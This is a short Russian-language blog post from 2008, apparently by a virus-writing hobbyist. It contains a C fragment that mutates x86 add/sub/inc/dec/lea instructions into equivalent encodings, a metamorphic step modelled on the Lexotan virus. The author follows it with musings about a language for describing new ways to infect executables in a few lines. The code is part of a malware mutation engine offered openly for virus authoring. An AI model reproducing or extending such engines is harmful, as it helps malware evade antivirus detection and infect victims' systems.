(no subject)

Apr 10, 2008 13:03

Наткнулся на статью о Lexotan и быстренько присобачил аналогичную мутацию add/sub x/-x
if ((b0 & 0xf0) == 0x40 || (b0 == 0x05 || b0 == 0x2d) || (b0 == 0x81 && ((b1 & 0xf8) == 0xc0 || (b1 & 0xf8) == 0xe8)) || (b0 == 0x8d && ((b1 & 0xc0) == 0x80) && ((b1 >> 3) & 7) == (b1 & 7))) if ((c->flags & (FL_GOTPTR1|FL_GOTPTR2|FL_GOTOFF)) == 0) { char *x = malloc(8), reg, d, s; uint32_t imm; if ((b0 & 0xf8) == 0x40) imm = 1; else if ((b0 & 0xf8) == 0x48) imm = -1; else imm = *(uint32_t*)(c->src + c->diza.len - 4); if (b0 == 0x05 || b0 == 0x2d) reg = 0; else { if ((b0 & 0xf0) == 0x40) reg = b0 & 7; else reg = b1 & 7; } if (b0 == 0x2d || (b1 & 0xf8) == 0xe8 || (b0 & 0xf8) == 0x48) s = 1; else s = 0; c->diza.len = 6; if ((d = _random(3)) == 0) { if (imm == 1 && _random(2) == 1) { x[0] = 0x40 | reg; c->diza.len = 1; } else { if (reg == 0 && _random(2) == 1) { x[0] = 0x05; c->diza.len = 5; } else { x[0] = 0x81; x[1] = 0xc0 | reg; } } } else if (d == 1) { x[0] = 0x8d; x[1] = 0x80 | (reg << 3) | reg; if (reg == 4) { x[2] = 0x24; c->diza.len = 7; } } else { if (imm == -1 && _random(2) == 1) { x[0] = 0x48 | reg; c->diza.len = 1; } else { if (reg == 0 && _random(2) == 1) { x[0] = 0x2d; c->diza.len = 5; } else { x[0] = 0x81; x[1] = 0xe8 | reg; } } } if (c->diza.len != 1) { uint32_t *arg = (uint32_t*)(x + c->diza.len - 4); if (s != (d >> 1)) *arg = -imm; else *arg = imm; } if (c->flags & FL_FREESRC) free(c->src); c->flags |= FL_FREESRC; c->src = x; continue; } Что в общем-то не важно. Просто подумалось, что уродство страшное. Совсем по другому нужно все это делать. MD, в какой-то из статей предлагал декомпилить тушку и жертву до IL; Z - полиморфные компиляторы и компилятор в качестве кодо-генератора. Есть даже работающие вещи, использующие и то, и другое. Не оставляет впечатление, что даже полноценная реализация подобных идей, даже в виде универсального движка - это всё равно не то. Хочется язык или несколько языков для манипуляций с экзешками и их содержимым. В других областях натыкался на подобные разработки (TCP/IP в пару сотен строк итд Ж-), а в вирусах, если и встречается что-то подобное, то результат настолько не соответствует затраченным усилиям, что лучше бы оно и не встречалось. Ж-) Я вот тоже поигрался немножко и ничего толкового не получилось. Ж-) Всё наверное из-за того, что во-первых я себе всё это представлял, как движок, который делает "что-то одно", мутацию к примеру, во-вторых, громоздкий синтаксис, получались неудобоваримые описания и еще более неудобоваримый код. А нужен не движок, а такой язык, чтобы демонстрация нового способа заражения занимала бы не больше описания на естественном языке, то есть 10-15 строк. А потом переписать компилятор на этом же языке.
Previous post Next post
Up